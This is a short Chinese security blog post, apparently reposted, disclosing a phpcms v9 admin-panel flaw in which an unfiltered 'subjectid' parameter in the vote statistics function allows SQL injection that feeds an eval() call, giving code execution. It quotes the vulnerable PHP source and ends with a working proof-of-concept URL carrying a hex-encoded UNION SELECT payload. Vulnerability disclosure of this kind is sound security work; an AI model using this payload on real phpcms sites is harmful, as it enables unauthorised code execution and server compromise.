phpcms v9 后台的一个(sql inj)2(code exec)漏洞
phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞
function string2array($data) {
if($data == '') return array();
eval("\$array = $data;");
return $array;
}
比如投票结果统计(需要后台权限)
/moudles/vote/vote.php
/**
* 投票结果统计
*/
public function statistics() {
$subjectid = $_GET['subjectid'];
$show_validator = $show_scroll = $show_header = true;
//获取投票信息
$sdb = pc_base::load_model('vote_data_model'); //加载投票统计的数据模型
$infos = $sdb->select("subjectid = $subjectid",'data'); //$subjectid没有过滤
//新建一数组用来存新组合数据
$total = 0;
$vote_data =array();
$vote_data['total'] = 0 ;//所有投票选项总数
$vote_data['votes'] = 0 ;//投票人数
//循环每个会员的投票记录
foreach($infos as $subjectid_arr) {//通过sql注入漏洞控制结果
extract($subjectid_arr);
$arr = string2array($data);//进入eval函数
foreach($arr as $key => $values){
$vote_data[$key]+=1;
}
$total += array_sum($arr);
$vote_data['votes']++ ;
}
$vote_data['total'] = $total ;
//取投票选项
$options = $this->db2->get_options($subjectid);
include $this->admin_tpl('vote_statistics');
}
poc代码
index.php?m=vote&c=vote&a=statistics&show_type=1&subjectid=0 union select 0x706870696E666F2829/*&siteid=1&pc_hash=LFeCIl
pc_hash每次不一样
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/1195.html